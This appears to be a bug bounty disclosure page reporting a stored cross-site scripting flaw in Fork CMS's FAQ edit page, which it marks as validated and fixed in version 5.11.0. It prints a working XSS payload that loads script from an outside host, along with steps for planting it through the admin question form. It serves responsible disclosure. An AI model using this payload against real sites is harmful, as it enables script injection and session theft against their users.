Cross-site Scripting (XSS) - Stored in forkcms/forkcms

Valid

Reported on

Oct 19th 2021

Description

XSS in the question asking session feedback page

Hi'>"<script src=//xss.mx></script><x="{9*9}\r\n%0A%09%0D<svg\onload=confirm(1)>

link https://demo.fork-cms.com/private/en/faq/edit?token=u1xyihius6&id=1 paste the payload in the question section and view the question in link

custom javascript code execution , session stealing etc

We have contacted a member of the forkcms team and are waiting to hear back 2 years ago

Ajmal Aboobacker modified the report

2 years ago

Jelmer Prins validated this vulnerability 2 years ago

Ajmal Aboobacker has been awarded the disclosure bounty

The fix bounty is now up for grabs

Jelmer Prins marked this as fixed in 5.11.0 with commit 76bf73 a year ago

This vulnerability will not receive a CVE

to join this conversation